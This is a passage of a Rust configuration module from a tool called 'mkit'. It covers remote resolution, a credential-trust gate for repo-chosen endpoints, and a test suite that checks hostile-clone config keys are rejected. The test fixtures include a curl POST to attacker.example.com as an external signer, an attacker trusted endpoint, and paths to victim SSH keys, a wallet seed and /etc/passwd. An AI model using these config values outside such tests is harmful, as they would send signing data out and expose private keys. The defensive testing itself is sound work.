856pub fn resolve_remote(cfg: &LayeredConfig, name: &str) -> Option<ResolvedRemote> {
857    let name = if name.is_empty() {
858        DEFAULT_REMOTE_NAME
859    } else {
860        name
861    };
862    if name == DEFAULT_REMOTE_NAME && !cfg.merged.remote_endpoint.trim().is_empty() {
863        let endpoint = cfg.merged.remote_endpoint.trim().to_owned();
864        let repo_chosen = cfg.repo.remote_endpoint.trim() == endpoint;
865        return Some(ResolvedRemote {
866            name: DEFAULT_REMOTE_NAME.to_owned(),
867            endpoint,
868            repo_chosen,
869        });
870    }
871    let entry = cfg.merged.remotes.get(name)?;
872    let endpoint = entry.url.trim();
873    if endpoint.is_empty() {
874        return None;
875    }
876    let repo_chosen = cfg
877        .repo
878        .remotes
879        .get(name)
880        .is_some_and(|e| e.url.trim() == endpoint);
881    Some(ResolvedRemote {
882        name: name.to_owned(),
883        endpoint: endpoint.to_owned(),
884        repo_chosen,
885    })
886}
887
888/// Resolve the upstream (remote name, remote branch) for a local branch.
889/// Falls back to the `default` remote tracking the same-named branch
890/// when no explicit `branch.<b>.{remote,merge}` is configured *and* a
891/// default remote exists.
892#[must_use]
893pub fn resolve_upstream(cfg: &LayeredConfig, branch: &str) -> Option<Upstream> {
894    if let Some(up) = cfg.merged.branch_upstreams.get(branch)
895        && !up.remote.is_empty()
896        && !up.branch.is_empty()
897    {
898        return Some(up.clone());
899    }
900    // Implicit fallback: a configured default remote tracks the
901    // same-named branch. Only offered when a default endpoint exists so
902    // callers can still produce an actionable "no upstream" error.
903    if !cfg.merged.remote_endpoint.trim().is_empty() {
904        return Some(Upstream {
905            remote: DEFAULT_REMOTE_NAME.to_owned(),
906            branch: branch.to_owned(),
907        });
908    }
909    None
910}
911
912/// Real-environment getter used by the runtime credential gate: reads
913/// the named environment variable, treating an empty value as absent.
914fn real_getenv(name: &str) -> Option<String> {
915    std::env::var(name).ok().filter(|value| !value.is_empty())
916}
917
918/// Refuse to use ambient HTTP/S3 environment credentials with a
919/// repo-configured endpoint unless the user has explicitly trusted that
920/// exact remote in user-scoped config.
921///
922/// Retained as the back-compat entry point for the flat single-remote
923/// `remote_endpoint`. New, per-endpoint callers (named remotes, the
924/// shared transport-dispatch choke point) should use
925/// [`endpoint_credential_trust`], which is keyed on an explicit
926/// `repo_chosen` provenance flag rather than re-deriving it from the
927/// flat field.
928pub fn enforce_trusted_remote_endpoint(cfg: &LayeredConfig) -> Result<(), String> {
929    let endpoint = cfg.merged.remote_endpoint.trim();
930    let repo_chosen = cfg.repo.remote_endpoint.trim() == endpoint;
931    match trusted_remote_error_for(
932        endpoint,
933        repo_chosen,
934        cfg.user.trusted_remote_endpoint.trim(),
935        &real_getenv,
936    ) {
937        Some(msg) => Err(msg),
938        None => Ok(()),
939    }
940}
941
942/// Per-endpoint credential trust check for the shared dispatch choke
943/// point ([`crate::remote_dispatch::open_trusted`]) and named-remote
944/// callers. `repo_chosen` is `true` when the endpoint was selected by
945/// the repo-scoped config (the flat `remote_endpoint` or a
946/// `remote.<name>.url` entry), `false` when it was supplied by the user
947/// (user-scoped config or an explicit CLI argument). Trust is keyed on
948/// the resolved ENDPOINT plus this provenance, never on a remote name.
949pub fn endpoint_credential_trust(
950    cfg: &LayeredConfig,
951    endpoint: &str,
952    repo_chosen: bool,
953) -> Result<(), String> {
954    match trusted_remote_error_for(
955        endpoint.trim(),
956        repo_chosen,
957        cfg.user.trusted_remote_endpoint.trim(),
958        &real_getenv,
959    ) {
960        Some(msg) => Err(msg),
961        None => Ok(()),
962    }
963}
964
965/// Core gate, keyed on an explicit endpoint + provenance rather than a
966/// `LayeredConfig`. Returns `Some(error)` when ambient HTTP/S3
967/// credentials would be attached to a repo-chosen endpoint that the
968/// user has not explicitly trusted.
969///
970/// * `endpoint` — the resolved, already-trimmed remote URL.
971/// * `repo_chosen` — whether the repo-scoped config selected this
972///   endpoint (the only case the gate fences; a user-chosen endpoint is
973///   the user's own decision).
974/// * `user_trusted` — the trimmed user-scoped `trusted_remote_endpoint`.
975/// * `getenv` — credential probe (injected for tests).
976fn trusted_remote_error_for<F>(
977    endpoint: &str,
978    repo_chosen: bool,
979    user_trusted: &str,
980    getenv: &F,
981) -> Option<String>
982where
983    F: Fn(&str) -> Option<String>,
984{
985    if endpoint.is_empty() || !repo_chosen {
986        return None;
987    }
988    if user_trusted == endpoint {
989        return None;
990    }
991
992    if endpoint.starts_with("mkit+http://") || endpoint.starts_with("mkit+https://") {
993        if getenv(mkit_transport_http::TOKEN_ENV).is_some() {
994            return Some(format!(
995                "refusing repo-configured remote `{endpoint}` with ambient {} bearer token; trust it explicitly with `mkit config trusted_remote_endpoint {endpoint}` (writes {})",
996                mkit_transport_http::TOKEN_ENV,
997                user_config_path().display()
998            ));
999        }
1000        return None;
1001    }
1002
1003    if endpoint.starts_with("mkit+s3://")
1004        && (getenv(mkit_transport_s3::ENV_ACCESS_KEY).is_some()
1005            || getenv(mkit_transport_s3::ENV_SECRET_KEY).is_some())
1006    {
1007        return Some(format!(
1008            "refusing repo-configured remote `{endpoint}` with ambient S3/R2 credentials; trust it explicitly with `mkit config trusted_remote_endpoint {endpoint}` (writes {})",
1009            user_config_path().display()
1010        ));
1011    }
1012
1013    None
1014}
1015
1016/// Write a single user-scoped key/value to `$XDG_CONFIG_HOME/mkit/config`.
1017/// Reads the existing file (if any), updates the matching line (or
1018/// appends), and writes back. Caller is responsible for validating
1019/// `value` (control bytes, key-path traversal).
1020pub fn write_user_kv(key: &str, value: &str) -> Result<(), ConfigError> {
1021    let path = user_config_path();
1022    if let Some(parent) = path.parent() {
1023        fs::create_dir_all(parent)?;
1024    }
1025    let existing = fs::read_to_string(&path).unwrap_or_default();
1026    let mut out = String::new();
1027    let mut replaced = false;
1028    for raw_line in existing.lines() {
1029        let line = raw_line.trim();
1030        if line.is_empty() || line.starts_with('#') {
1031            out.push_str(raw_line);
1032            out.push('\n');
1033            continue;
1034        }
1035        if let Some((k, _)) = line.split_once('=')
1036            && k.trim() == key
1037        {
1038            out.push_str(key);
1039            out.push_str(" = ");
1040            out.push_str(value);
1041            out.push('\n');
1042            replaced = true;
1043            continue;
1044        }
1045        out.push_str(raw_line);
1046        out.push('\n');
1047    }
1048    if !replaced {
1049        out.push_str(key);
1050        out.push_str(" = ");
1051        out.push_str(value);
1052        out.push('\n');
1053    }
1054    // Atomic temp + fsync + rename so a crash mid-write can't leave the
1055    // security-sensitive user config half-written (#223). A reader either
1056    // sees the old contents or the fully-updated file, never a torn one.
1057    write_atomic_user_config(&path, out.as_bytes())?;
1058    Ok(())
1059}
1060
1061/// Atomically write `bytes` to `path`: write into a sibling temp file,
1062/// fsync it, then rename over the destination. Mirrors the key-save
1063/// path's temp+rename hardening.
1064fn write_atomic_user_config(path: &Path, bytes: &[u8]) -> Result<(), ConfigError> {
1065    use tempfile::NamedTempFile;
1066    let parent = path.parent().ok_or(ConfigError::Io(io::Error::new(
1067        io::ErrorKind::InvalidInput,
1068        "user config path has no parent",
1069    )))?;
1070    let mut tmp = NamedTempFile::new_in(parent)?;
1071    tmp.as_file_mut().write_all(bytes)?;
1072    tmp.as_file_mut().sync_all()?;
1073    tmp.persist(path).map_err(|e| ConfigError::Io(e.error))?;
1074    Ok(())
1075}
1076
1077/// Expand a user-typed `user.identity` into the canonical hex form
1078/// `[kind:u8][len:u16 LE][bytes]`. See `docs/CLI.md`.
1079pub fn expand_user_identity(value: &str) -> Result<String, ConfigError> {
1080    if value.is_empty() {
1081        return Err(ConfigError::InvalidUserIdentity("empty value"));
1082    }
1083    if let Some(hex) = value.strip_prefix("ed25519:") {
1084        if hex.len() != 64 {
1085            return Err(ConfigError::InvalidUserIdentity(
1086                "ed25519:<hex> must have 64 hex chars",
1087            ));
1088        }
1089        let bytes =
1090            hex_decode(hex).ok_or(ConfigError::InvalidUserIdentity("ed25519 hex is not valid"))?;
1091        return Ok(encode_identity_hex(0x01, &bytes));
1092    }
1093    if let Some(dec) = value.strip_prefix("mid:") {
1094        let mid: u64 = dec
1095            .parse()
1096            .map_err(|_| ConfigError::InvalidUserIdentity("mid must be a decimal u64"))?;
1097        return Ok(encode_identity_hex(0x03, &mid.to_le_bytes()));
1098    }
1099    if !value.len().is_multiple_of(2) || value.len() < 6 {
1100        return Err(ConfigError::InvalidUserIdentity(
1101            "raw hex is too short or has odd length",
1102        ));
1103    }
1104    let bytes = hex_decode(value).ok_or(ConfigError::InvalidUserIdentity(
1105        "raw value is not valid hex",
1106    ))?;
1107    let declared = u16::from(bytes[1]) | (u16::from(bytes[2]) << 8);
1108    if bytes.len() != usize::from(declared) + 3 {
1109        return Err(ConfigError::InvalidUserIdentity(
1110            "declared length does not match payload length",
1111        ));
1112    }
1113    Ok(value.to_owned())
1114}
1115
1116fn encode_identity_hex(kind: u8, bytes: &[u8]) -> String {
1117    let len = u16::try_from(bytes.len()).unwrap_or(u16::MAX);
1118    let mut buf = Vec::with_capacity(3 + bytes.len());
1119    buf.push(kind);
1120    buf.extend_from_slice(&len.to_le_bytes());
1121    buf.extend_from_slice(bytes);
1122    hex_encode(&buf)
1123}
1124
1125fn hex_encode(bytes: &[u8]) -> String {
1126    static H: &[u8; 16] = b"0123456789abcdef";
1127    let mut s = String::with_capacity(bytes.len() * 2);
1128    for b in bytes {
1129        s.push(H[(b >> 4) as usize] as char);
1130        s.push(H[(b & 0x0F) as usize] as char);
1131    }
1132    s
1133}
1134
1135fn hex_decode(s: &str) -> Option<Vec<u8>> {
1136    if !s.len().is_multiple_of(2) {
1137        return None;
1138    }
1139    let mut out = Vec::with_capacity(s.len() / 2);
1140    let b = s.as_bytes();
1141    for i in (0..b.len()).step_by(2) {
1142        let hi = nibble(b[i])?;
1143        let lo = nibble(b[i + 1])?;
1144        out.push((hi << 4) | lo);
1145    }
1146    Some(out)
1147}
1148
1149fn nibble(c: u8) -> Option<u8> {
1150    Some(match c {
1151        b'0'..=b'9' => c - b'0',
1152        b'a'..=b'f' => 10 + c - b'a',
1153        b'A'..=b'F' => 10 + c - b'A',
1154        _ => return None,
1155    })
1156}
1157
1158/// XDG base-dir resolvers — fall back to `$HOME/.config` / `.local`.
1159fn xdg(var: &str, fallback_under_home: &str) -> PathBuf {
1160    if let Some(v) = std::env::var_os(var)
1161        && !v.is_empty()
1162    {
1163        return PathBuf::from(v);
1164    }
1165    if let Some(home) = std::env::var_os("HOME") {
1166        return PathBuf::from(home).join(fallback_under_home);
1167    }
1168    PathBuf::from(".")
1169}
1170
1171#[must_use]
1172pub fn xdg_config_home() -> PathBuf {
1173    xdg("XDG_CONFIG_HOME", ".config")
1174}
1175
1176#[must_use]
1177pub fn xdg_data_home() -> PathBuf {
1178    xdg("XDG_DATA_HOME", ".local/share")
1179}
1180
1181#[must_use]
1182pub fn xdg_cache_home() -> PathBuf {
1183    xdg("XDG_CACHE_HOME", ".cache")
1184}
1185
1186#[must_use]
1187pub fn xdg_state_home() -> PathBuf {
1188    xdg("XDG_STATE_HOME", ".local/state")
1189}
1190
1191#[cfg(test)]
1192mod tests {
1193    use super::*;
1194    use tempfile::TempDir;
1195
1196    #[test]
1197    fn durability_objects_key_selects_sync_policy() {
1198        // The SPEC-OBJECTS §10.1 escape hatch must be reachable from
1199        // config: `per-object` selects the strict schedule, everything
1200        // else (unset, "batch", junk) falls back to the batched default.
1201        let mut cfg = Config::with_defaults();
1202        assert_eq!(
1203            cfg.object_sync_policy(),
1204            mkit_core::store::SyncPolicy::Batch
1205        );
1206        apply_kv(&mut cfg, "durability.objects", "per-object");
1207        assert_eq!(
1208            cfg.object_sync_policy(),
1209            mkit_core::store::SyncPolicy::PerObject
1210        );
1211        // Round-trips through the repo-config writer.
1212        let dir = tempfile::tempdir().unwrap();
1213        write(dir.path(), &cfg).unwrap();
1214        let text = std::fs::read_to_string(dir.path().join(CONFIG_FILE)).unwrap();
1215        assert!(text.contains("durability.objects = per-object"));
1216        apply_kv(&mut cfg, "durability.objects", "bogus");
1217        assert_eq!(
1218            cfg.object_sync_policy(),
1219            mkit_core::store::SyncPolicy::Batch
1220        );
1221    }
1222
1223    /// Tests drive `apply_file` directly rather than mutating
1224    /// `XDG_CONFIG_HOME` — the env-var dance races other tests and
1225    /// trips the `disallowed-methods` clippy lint we configured.
1226    fn layer(repo_text: Option<&str>, user_text: Option<&str>) -> Config {
1227        let td = TempDir::new().unwrap();
1228        let mut cfg = Config::with_defaults();
1229        if let Some(text) = user_text {
1230            let upath = td.path().join("user_config");
1231            fs::write(&upath, text).unwrap();
1232            apply_file(&mut cfg, &upath, ConfigScope::User).unwrap();
1233        }
1234        if let Some(text) = repo_text {
1235            let rpath = td.path().join("repo_config");
1236            fs::write(&rpath, text).unwrap();
1237            apply_file(&mut cfg, &rpath, ConfigScope::Repo).unwrap();
1238        }
1239        cfg
1240    }
1241
1242    fn layered(repo_text: Option<&str>, user_text: Option<&str>) -> LayeredConfig {
1243        let td = TempDir::new().unwrap();
1244        let user_path = td.path().join("user_config");
1245        let repo_path = td.path().join("repo_config");
1246        if let Some(text) = user_text {
1247            fs::write(&user_path, text).unwrap();
1248        }
1249        if let Some(text) = repo_text {
1250            fs::write(&repo_path, text).unwrap();
1251        }
1252        let mut merged = Config::with_defaults();
1253        apply_file_inner(&mut merged, &user_path, ConfigScope::User, false).unwrap();
1254        apply_file_inner(&mut merged, &repo_path, ConfigScope::Repo, false).unwrap();
1255        let mut user = Config::default();
1256        let mut repo = Config::default();
1257        apply_file_inner(&mut user, &user_path, ConfigScope::User, false).unwrap();
1258        apply_file_inner(&mut repo, &repo_path, ConfigScope::Repo, false).unwrap();
1259        LayeredConfig { merged, user, repo }
1260    }
1261
1262    #[test]
1263    fn read_default_when_missing() {
1264        let td = TempDir::new().unwrap();
1265        // No user config file at the canonical XDG path either —
1266        // `read_or_default` accepts that and falls through to defaults.
1267        let cfg = Config::with_defaults();
1268        assert_eq!(cfg.signing_key, DEFAULT_SIGNING_KEY);
1269        assert_eq!(cfg.default_branch, DEFAULT_BRANCH);
1270        assert!(cfg.remote_endpoint.is_empty());
1271        // Sanity: read_or_default on a fresh empty repo dir never
1272        // panics or errors.
1273        let _ = read_or_default(td.path()).unwrap();
1274    }
1275
1276    #[test]
1277    fn roundtrip_repo_safe_keys() {
1278        let cfg = layer(
1279            Some("remote_endpoint = /tmp/mirror\nremote_type = file\n"),
1280            None,
1281        );
1282        assert_eq!(cfg.remote_endpoint, "/tmp/mirror");
1283        assert_eq!(cfg.remote_type, "file");
1284    }
1285
1286    #[test]
1287    fn write_does_not_emit_forbidden_repo_keys() {
1288        let td = TempDir::new().unwrap();
1289        fs::create_dir_all(td.path().join(".mkit")).unwrap();
1290        let mut cfg = Config::with_defaults();
1291        cfg.user_identity = "01200011".into();
1292        cfg.signing_key = "/should/not/be/written".into();
1293        cfg.signer = "keystore".into();
1294        cfg.key.backend = "software".into();
1295        cfg.key.default_ref = "software:attacker".into();
1296        cfg.ssh_strict_host_key_checking = "no".into();
1297        cfg.attest.external_signer_path = "/usr/local/bin/evil".into();
1298        write(td.path(), &cfg).unwrap();
1299        let on_disk = fs::read_to_string(td.path().join(CONFIG_FILE)).unwrap();
1300        assert!(!on_disk.contains("user.identity"));
1301        assert!(!on_disk.contains("signing_key"));
1302        assert!(!on_disk.contains("signer"));
1303        assert!(!on_disk.contains("key.default_ref"));
1304        assert!(!on_disk.contains("ssh.strict_host_key_checking"));
1305        assert!(!on_disk.contains("external_signer_path"));
1306    }
1307
1308    #[test]
1309    fn repo_signing_key_is_rejected_with_warning() {
1310        // Hostile-clone scenario: `.mkit/config` tries to redirect the
1311        // signing key. After the partition fix, the value MUST NOT be
1312        // applied — it falls back to the built-in default.
1313        let cfg = layer(
1314            Some("signing_key = ../../../etc/passwd\nremote_type = file\n"),
1315            None,
1316        );
1317        assert_eq!(cfg.signing_key, DEFAULT_SIGNING_KEY);
1318        assert_eq!(cfg.remote_type, "file");
1319    }
1320
1321    #[test]
1322    fn repo_user_identity_is_rejected() {
1323        let cfg = layer(Some("user.identity = 012000aaaaaaaa\n"), None);
1324        assert!(cfg.user_identity.is_empty());
1325    }
1326
1327    #[test]
1328    fn repo_trusted_remote_endpoint_is_rejected() {
1329        let cfg = layer(
1330            Some("trusted_remote_endpoint = mkit+https://attacker.invalid/repo\n"),
1331            None,
1332        );
1333        assert!(cfg.trusted_remote_endpoint.is_empty());
1334    }
1335
1336    #[test]
1337    fn repo_external_signer_is_rejected() {
1338        let cfg = layer(
1339            Some(
1340                "attest.external_signer_path = /usr/bin/curl\n\
1341                 attest.external_signer_args = -X|POST|attacker.example.com\n\
1342                 attest.signer = external\n",
1343            ),
1344            None,
1345        );
1346        assert!(cfg.attest.external_signer_path.is_empty());
1347        assert!(cfg.attest.external_signer_args.is_empty());
1348        // `attest.signer` is also forbidden from per-repo: even though
1349        // the path itself is user-scoped, letting the per-repo file
1350        // SELECT the external signer is enough to weaponise a
1351        // user-trusted binary against attacker-chosen content. Same
1352        // confused-deputy shape as the C2 finding closed for
1353        // `signing_key`, just routed through the selector.
1354        assert_eq!(cfg.attest.signer, "");
1355    }
1356
1357    /// User has set up a legitimate external HSM signer in their
1358    /// user-scoped config (path + args). A hostile clone ships a
1359    /// per-repo `attest.signer = external` to flip the selector and
1360    /// have the user's HSM sign the clone's commit. After this fix,
1361    /// the per-repo selector is dropped with a stderr warning and
1362    /// the user's `repo-key` default holds.
1363    #[test]
1364    fn repo_attest_signer_selector_cannot_weaponise_user_external_signer() {
1365        let cfg = layer(
1366            Some("attest.signer = external\n"),
1367            Some(
1368                "attest.external_signer_path = /home/user/bin/yubikey-sign\n\
1369                 attest.external_signer_args = sign\n",
1370            ),
1371        );
1372        // User's path stays, BUT the repo-supplied selector that
1373        // would route signing through that path is rejected. The
1374        // signer falls back to `repo-key` (the default).
1375        assert_eq!(
1376            cfg.attest.external_signer_path,
1377            "/home/user/bin/yubikey-sign"
1378        );
1379        assert_eq!(cfg.attest.signer, "");
1380        assert_eq!(cfg.attest.signer_or_fallback(), "repo-key");
1381    }
1382
1383    /// Companion: hostile clone tries to flip
1384    /// `attest.default_algorithm` to whichever non-Ed25519 key the
1385    /// user happens to have set up, to confused-deputy through it.
1386    /// Selector is rejected from per-repo.
1387    #[test]
1388    fn repo_attest_default_algorithm_is_rejected() {
1389        let cfg = layer(Some("attest.default_algorithm = secp256k1\n"), None);
1390        assert_eq!(cfg.attest.default_algorithm, "");
1391        // Default fallback is ed25519, regardless of repo wishes.
1392        assert_eq!(cfg.attest.default_algorithm_or_fallback(), "ed25519");
1393    }
1394
1395    #[test]
1396    fn repo_keystore_selectors_are_rejected() {
1397        let cfg = layer(
1398            Some(
1399                "signer = keystore\n\
1400                 key.backend = yubikey\n\
1401                 key.default_ref = yubikey:main\n\
1402                 key.ed25519_ref = software:repo-ed\n\
1403                 key.secp256k1_ref = software:repo-k1\n\
1404                 key.p256_ref = software:repo-p256\n",
1405            ),
1406            None,
1407        );
1408        assert_eq!(cfg.signer, DEFAULT_SIGNER);
1409        assert_eq!(cfg.key.backend, DEFAULT_KEY_BACKEND);
1410        assert_eq!(cfg.key.default_ref_or_fallback(), DEFAULT_KEY_REF);
1411        assert_eq!(cfg.key.ed25519_ref_or_fallback(), DEFAULT_KEY_REF);
1412        assert_eq!(
1413            cfg.key.secp256k1_ref_or_fallback(),
1414            DEFAULT_SECP256K1_KEY_REF
1415        );
1416        assert_eq!(cfg.key.p256_ref_or_fallback(), DEFAULT_P256_KEY_REF);
1417    }
1418
1419    #[test]
1420    fn user_keystore_selectors_are_honored() {
1421        let cfg = layer(
1422            None,
1423            Some(
1424                "signer = keystore\n\
1425                 key.backend = software\n\
1426                 key.default_ref = software:user-default\n\
1427                 key.ed25519_ref = software:user-ed\n\
1428                 key.secp256k1_ref = software:user-k1\n\
1429                 key.p256_ref = software:user-p256\n",
1430            ),
1431        );
1432        assert_eq!(cfg.signer, "keystore");
1433        assert_eq!(cfg.key.backend, "software");
1434        assert_eq!(cfg.key.default_ref, "software:user-default");
1435        assert_eq!(cfg.key.ed25519_ref_or_fallback(), "software:user-ed");
1436        assert_eq!(cfg.key.secp256k1_ref_or_fallback(), "software:user-k1");
1437        assert_eq!(cfg.key.p256_ref_or_fallback(), "software:user-p256");
1438    }
1439
1440    #[test]
1441    fn user_default_key_ref_is_generic_fallback() {
1442        let cfg = layer(None, Some("key.default_ref = software:release\n"));
1443        assert_eq!(cfg.key.default_ref_or_fallback(), "software:release");
1444        assert_eq!(cfg.key.ed25519_ref_or_fallback(), "software:release");
1445        assert_eq!(cfg.key.secp256k1_ref_or_fallback(), "software:release");
1446        assert_eq!(cfg.key.p256_ref_or_fallback(), "software:release");
1447    }
1448
1449    #[test]
1450    fn algorithm_key_refs_override_default_key_ref() {
1451        let cfg = layer(
1452            None,
1453            Some(
1454                "key.default_ref = software:release\n\
1455                 key.ed25519_ref = software:ed\n\
1456                 key.secp256k1_ref = software:k1\n\
1457                 key.p256_ref = software:p256\n",
1458            ),
1459        );
1460        assert_eq!(cfg.key.default_ref_or_fallback(), "software:release");
1461        assert_eq!(cfg.key.ed25519_ref_or_fallback(), "software:ed");
1462        assert_eq!(cfg.key.secp256k1_ref_or_fallback(), "software:k1");
1463        assert_eq!(cfg.key.p256_ref_or_fallback(), "software:p256");
1464    }
1465
1466    #[test]
1467    fn repo_ssh_host_key_checking_is_rejected() {
1468        let cfg = layer(
1469            Some(
1470                "ssh.strict_host_key_checking = no\n\
1471                 ssh.user_known_hosts_file = /dev/null\n",
1472            ),
1473            None,
1474        );
1475        assert!(cfg.ssh_strict_host_key_checking.is_empty());
1476        assert!(cfg.ssh_user_known_hosts_file.is_empty());
1477    }
1478
1479    /// Hostile clone pins `ssh.identity_file` to a path the attacker
1480    /// either chose to read (any file `mkit` can open under the user's
1481    /// uid) or chose to have signed-against (a private key the user
1482    /// happens to have on disk). Either way, `mkit push` must NOT take
1483    /// the suggestion.
1484    #[test]
1485    fn repo_ssh_identity_file_is_rejected() {
1486        let cfg = layer(
1487            Some("ssh.identity_file = /home/victim/.ssh/id_ed25519\n"),
1488            None,
1489        );
1490        assert!(cfg.ssh_identity_file.is_empty());
1491    }
1492
1493    /// Hostile clone aims `attest.secp256k1_key_path` at a key file the
1494    /// victim happens to own (e.g. a wallet seed). Must be ignored.
1495    #[test]
1496    fn repo_attest_secp256k1_key_path_is_rejected() {
1497        let cfg = layer(
1498            Some("attest.secp256k1_key_path = /home/victim/.wallet/seed\n"),
1499            None,
1500        );
1501        assert!(cfg.attest.secp256k1_key_path.is_empty());
1502        // Fallback default still wins.
1503        assert_eq!(
1504            cfg.attest.secp256k1_key_path_or_default(),
1505            ".mkit/keys/secp256k1.key"
1506        );
1507    }
1508
1509    /// Companion to the secp256k1 case: same shape, different curve.
1510    #[test]
1511    fn repo_attest_p256_key_path_is_rejected() {
1512        let cfg = layer(
1513            Some("attest.p256_key_path = /home/victim/.ssh/id_ecdsa\n"),
1514            None,
1515        );
1516        assert!(cfg.attest.p256_key_path.is_empty());
1517        assert_eq!(cfg.attest.p256_key_path_or_default(), ".mkit/keys/p256.key");
1518    }
1519
1520    /// Meta-test: every key listed in [`REPO_FORBIDDEN_KEYS`] MUST be
1521    /// covered by a per-key rejection test in this module. If you add
1522    /// a key to the list without a regression test, this test fails.
1523    ///
1524    /// Implemented by checking each key in isolation against `layer()`
1525    /// and asserting that the corresponding field on the merged
1526    /// `Config` is empty (i.e. the value did not propagate). Done at
1527    /// the `apply_kv` layer so it catches the exact code path the
1528    /// hostile-clone exploit uses, not just the constant itself.
1529    #[test]
1530    fn every_forbidden_key_is_actually_dropped_from_repo_scope() {
1531        // A sentinel value that is syntactically valid for every key
1532        // (no control bytes, parseable as path / argv / ref / hex). If
1533        // the key were accepted, it would land verbatim in the matching
1534        // string field — so seeing the field empty after a per-repo
1535        // load proves the key is being dropped.
1536        const SENTINEL: &str = "EXFIL_SENTINEL";
1537
1538        for key in REPO_FORBIDDEN_KEYS {
1539            let line = format!("{key} = {SENTINEL}\n");
1540            let cfg = layer(Some(&line), None);
1541            // Look up the field through the same accessor `mkit config`
1542            // uses, to assert the value did NOT propagate.
1543            let observed = match *key {
1544                "user.identity" => cfg.user_identity.as_str(),
1545                "trusted_remote_endpoint" => cfg.trusted_remote_endpoint.as_str(),
1546                "signer" => cfg.signer.as_str(),
1547                "key.backend" => cfg.key.backend.as_str(),
1548                "key.default_ref" => cfg.key.default_ref.as_str(),
1549                "key.ed25519_ref" => cfg.key.ed25519_ref.as_str(),
1550                "key.secp256k1_ref" => cfg.key.secp256k1_ref.as_str(),
1551                "key.p256_ref" => cfg.key.p256_ref.as_str(),
1552                "signing_key" => cfg.signing_key.as_str(),
1553                "ssh.strict_host_key_checking" => cfg.ssh_strict_host_key_checking.as_str(),
1554                "ssh.user_known_hosts_file" => cfg.ssh_user_known_hosts_file.as_str(),
1555                "ssh.identity_file" => cfg.ssh_identity_file.as_str(),
1556                "attest.signer" => cfg.attest.signer.as_str(),
1557                "attest.default_algorithm" => cfg.attest.default_algorithm.as_str(),
1558                "attest.external_signer_path" => cfg.attest.external_signer_path.as_str(),
1559                "attest.external_signer_args" => {
1560                    // pipe-list field; empty Vec stringifies to "".
1561                    if cfg.attest.external_signer_args.is_empty() {
1562                        ""
1563                    } else {
1564                        "<non-empty>"
1565                    }
1566                }
1567                "attest.external_signer_timeout_secs" => {
1568                    // Option<u64>; None when dropped from repo scope. The
1569                    // SENTINEL string is non-numeric, so even on the
1570                    // user path it would parse to None — assert the repo
1571                    // path leaves it None.
1572                    if cfg.attest.external_signer_timeout_secs.is_none() {
1573                        ""
1574                    } else {
1575                        "<set>"
1576                    }
1577                }
1578                "attest.secp256k1_key_path" => cfg.attest.secp256k1_key_path.as_str(),
1579                "attest.p256_key_path" => cfg.attest.p256_key_path.as_str(),
1580                // If a new key appears in `REPO_FORBIDDEN_KEYS` without
1581                // an arm here, fail loudly — the developer must extend
1582                // both the constant AND the meta-test together. Without
1583                // this branch, an added key would be silently treated
1584                // as "not in this struct" and the test would pass.
1585                other => panic!(
1586                    "REPO_FORBIDDEN_KEYS contains `{other}` but the meta-test \
1587                     in config.rs has no matching field accessor. Add an arm \
1588                     to `every_forbidden_key_is_actually_dropped_from_repo_scope` \
1589                     so the per-key drop is verified.",
1590                ),
1591            };
1592            // `Config::with_defaults()` pre-seeds a few fields (e.g.
1593            // `signing_key = ".mkit/keys/default.key"`, `signer =
1594            // "legacy"`). Merge order is "defaults → user → repo
1595            // (filtered)", so a dropped repo line cannot OVERWRITE the
1596            // default. The crisp invariant is: the attacker's
1597            // SENTINEL must NEVER appear in the observed value.
1598            assert!(
1599                observed != SENTINEL,
1600                "forbidden key `{key}` was NOT dropped from repo scope — \
1601                 observed `{observed}` (matches attacker SENTINEL)",
1602            );
1603        }
1604    }
1605
1606    #[test]
1607    fn user_signing_key_is_honored() {
1608        let cfg = layer(None, Some("signing_key = /home/user/.mkit/global.key\n"));
1609        assert_eq!(cfg.signing_key, "/home/user/.mkit/global.key");
1610    }
1611
1612    /// Helper mirroring the old `trusted_remote_error_with(cfg, ..)`
1613    /// shape so the existing layered tests stay readable: derives
1614    /// `repo_chosen` from the flat `remote_endpoint`, exactly as
1615    /// `enforce_trusted_remote_endpoint` does.
1616    fn gate_for_flat<F>(cfg: &LayeredConfig, getenv: &F) -> Option<String>
1617    where
1618        F: Fn(&str) -> Option<String>,
1619    {
1620        let endpoint = cfg.merged.remote_endpoint.trim();
1621        let repo_chosen = cfg.repo.remote_endpoint.trim() == endpoint;
1622        trusted_remote_error_for(
1623            endpoint,
1624            repo_chosen,
1625            cfg.user.trusted_remote_endpoint.trim(),
1626            getenv,
1627        )
1628    }
1629
1630    #[test]
1631    fn repo_http_remote_with_token_requires_user_trust() {
1632        let cfg = layered(
1633            Some("remote_endpoint = mkit+https://example.invalid/repo\n"),
1634            None,
1635        );
1636        let msg = gate_for_flat(&cfg, &|name| {
1637            (name == mkit_transport_http::TOKEN_ENV).then(|| "token".to_string())
1638        })
1639        .expect("repo-scoped HTTP remote with token must be rejected");
1640        assert!(msg.contains("trusted_remote_endpoint"));
1641    }
1642
1643    #[test]
1644    fn trusted_http_remote_is_allowed() {
1645        let cfg = layered(
1646            Some("remote_endpoint = mkit+https://example.invalid/repo\n"),
1647            Some("trusted_remote_endpoint = mkit+https://example.invalid/repo\n"),
1648        );
1649        let msg = gate_for_flat(&cfg, &|name| {
1650            (name == mkit_transport_http::TOKEN_ENV).then(|| "token".to_string())
1651        });
1652        assert!(msg.is_none());
1653    }
1654
1655    #[test]
1656    fn repo_s3_remote_with_env_creds_requires_user_trust() {
1657        let cfg = layered(
1658            Some("remote_endpoint = mkit+s3://r2.example.com/bucket/proj\n"),
1659            None,
1660        );
1661        let msg = gate_for_flat(&cfg, &|name| match name {
1662            mkit_transport_s3::ENV_ACCESS_KEY => Some("AKIA...".to_string()),
1663            _ => None,
1664        })
1665        .expect("repo-scoped S3 remote with env creds must be rejected");
1666        assert!(msg.contains("trusted_remote_endpoint"));
1667    }
1668
1669    /// The gate keys on PROVENANCE, not mere credential presence: a
1670    /// user-chosen endpoint (`repo_chosen == false`) with ambient creds
1671    /// is the user's own decision and must NOT be refused, even though
1672    /// the same endpoint+creds would be refused if the repo had chosen
1673    /// it.
1674    #[test]
1675    fn user_chosen_http_remote_with_token_is_allowed() {
1676        let token =
1677            |name: &str| (name == mkit_transport_http::TOKEN_ENV).then(|| "tok".to_string());
1678        let ep = "mkit+https://example.invalid/repo";
1679        // repo_chosen = false (user-scoped or CLI-supplied endpoint).
1680        assert!(trusted_remote_error_for(ep, false, "", &token).is_none());
1681        // repo_chosen = true with no user trust → refused.
